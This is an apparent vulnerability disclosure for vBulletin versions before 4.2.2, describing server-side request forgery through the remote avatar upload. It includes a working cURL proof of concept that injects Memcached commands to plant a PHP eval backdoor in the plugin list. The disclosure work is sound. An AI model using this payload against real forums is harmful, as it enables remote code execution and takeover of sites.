vBulletin's memcache setting is vulnerable in certain versions(all
before 4.2.2) to an RCE. vBulletin seem to have refused to classify it
as a vulnerability or post anything about it, or put anything in the
announcements on their website. They say "PL2 (4.2.2) should prevent the
use of localhost," however that doesn't help people using previous
versions(which they appear to support with patches, still.)
They also haven't updated previous versions of vBulletin for this bug,
despite it being reported that it works on versions prior to 4.2.2.

Of course though, the most important thing is, they haven't announced
there even is/was a vulnerability in any version.


Anyways, here it is:

Remote Upload allows to send arbitrary data to loopback-only services, possibly allowing the execution of arbitrary code Exists in vB4
The remote upload as implemented by the vB_Upload_* classes and vB_vURL (at least in vB 4.2.x, most probably earlier releases are also affected, and vB 5 might be affected as well) does not restrict the destination ports and hosts for remote uploads. This allows an attacker to abuse the function to as a proxy commit TCP port scans on other hosts. Much worse, it also allows to connect to local loopback-only services or to services only exposed on an internal network.

On a setup running e.g. Memcached in default configuration (bound to localhost:11211, no authentication), the latter can be exploited to execute arbitrary code by forging a request to memcached, updating the `pluginlist` value.

Proof-of-Concept using cURL:
—
$ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; bb_password=926944640049f505370a38250f22ae57' --data 'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'
—

This leads to vBulletin opening a connection to the Memcached (localhost:11211) and sending the following data:
—
HEAD /
set pluginlist 0 0 96
a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']);die();}
";}
quit
.png HTTP/1.0
Host: localhost
User-Agent: vBulletin via PHP
Connection: close

—
This will cause the Memcached to update the `pluginlist` to contain the malicious code.

Furthermore, the remote upload happily follows all kinds of redirects if provided with an appropriate Location header.